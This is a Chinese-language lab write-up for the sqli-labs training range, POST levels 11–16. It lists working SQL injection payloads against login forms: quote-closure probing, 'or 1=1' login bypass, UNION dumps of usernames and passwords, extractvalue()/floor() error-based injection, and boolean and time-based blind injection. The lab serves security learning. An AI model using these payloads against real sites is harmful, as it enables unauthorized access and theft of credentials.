sqlilabs靶场记录POST型(二)
接下来就是使用post注入了,这里使用hackbar插件 配合burp
抓包发现post了uname和passwd两个数据
less-11基于错误的- 单引号 -字符型
先基本测试一下
uname=1 & passwd=1 无法登录无回显
uname=1' & passwd=1 version for the right syntax to use near '1' LIMIT 0,1' at line 1
uname=1 & passwd=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
uname=1" & passwd=1 无法登录无回显
uname=1 & passwd=1" 无法登录无回显
说明是单引号闭合
uname=1' or 1=1# & passwd=1 万能语句可以登进去
uname=1' order by 4# & passwd=1 回显Unknown column '4' in 'order clause'
uname=1' order by 2# & passwd=1 无法登录无回显
说明只有两个字段
开始注数据
uname=-1' union select 1,database() # & passwd=1 Your Password:security
uname=-1' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=1
uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# & passwd=1
uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# & passwd=1
uname=-1' union select 1,group_concat(username,password) from users# & passwd=1
less-12基于错误的双引号POST型字符型变形的注入
uname=1 & passwd=1 无法登录无回显
uname=1' & passwd=1 无法登录无回显
uname=1" & passwd=1 version for the right syntax to use near '1") LIMIT 0,1' at line 1
说明是双引号闭合,这里从报错信息可以发现还有一个括号进行保护
uname=1" or 1=1#& passwd=1 version for the right syntax to use near '' at line 1
uname=1") or 1=1#& passwd=1 正常登录进去
extractvalue()函数报错注入
上一关使用了基本查询语句,接下来我们使用mysql函数报错注入,这里选取extractvalue()函数,注意这里的extracectvalue()函数最大爆32位
uname=1") and extractvalue(1,concat(0x7e,(select database()))) #& passwd=1
uname=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #& passwd=1
uname=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #& passwd=1
uname=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #& passwd=1
这里会显示不全
那么我们可以这样写,使用not in()
uname=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) #& passwd=1
floor()函数报错注入
uname=1") Union select count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x; #& passwd=1
less-13 POST单引号变形双注入
uname=1 & passwd=1 无法登录无回显
uname=1' & passwd=1 version for the right syntax to use near '1') LIMIT 0,1' at line 1
uname=1" & passwd=1 无法登录无回显
说明单引号加括号进行闭合
这里有报错信息的出现,说明可以使用报错注入
uname=1')or 1=1 # & passwd=1 登进去发现没有显示用户信息,显示了一个successfully logged in
当失败时
可以发现有显著的不同,那么这里也可以使用布尔盲注来实现
报错型extractvalue()
uname=1') and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1
报错型floor() 又叫双注入
uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1
布尔盲注
利用 regexp (正则表达式)获取security数据库中 users 表中的列
uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1) -- #&passwd=1 登录成功
uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usernaa[a-z]' limit 0,1) -- #&passwd=1 登录失败
要注意这里的匹配的username在不断变化
less-14POST单引号变形双注入
就测试一下怎么闭合
uname=1&passwd=1 无法登录无回显
uname=1'&passwd=1 无法登录无回显
uname=1"&passwd=1 version for the right syntax to use near '1" LIMIT 0,1' at line 1
uname=1"or 1=1#&passwd=1 登录成功
说明是双引号闭合
报错型extractvalue()
uname=1"and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1
报错型floor() 又叫双注入
uname=1" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1
less-15基于布尔型/时间延迟单引号POST型盲注
uname=1&passwd=1 登录失败无回显 uname=1&passwd=1 登录失败无回显
uname=1&passwd=1' 登录失败无回显 uname=1'&passwd=1 登录失败无回显
uname=1&passwd=1" 登录失败无回显 uname=1"&passwd=1 登录失败无回显
一个报错信息都没有,那么说明是非报错的注入接着测试
uname=1 or 1=1#&passwd=1 登录失败无回显
uname=1' or 1=1#&passwd=1 登录成功
uname=1" or 1=1#&passwd=1 登录失败无回显
这里就知道是单引号闭合
接下来可以使用布尔盲注,或者时间盲注
uname=1' or length(database())=8#&passwd=1 登录成功
当然时间盲注也是可以的
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #
less-16基于bool型/时间延迟的双引号POST型盲注
测试一下闭合方式
uname=1") or 1=1#&passwd=1
太好了
uname=1") or 1=1#&passwd=uname=1&passwd=1") or if(length(database())=8,1,sleep(5))-- #
和上一关语句一个样,接下来就很简单了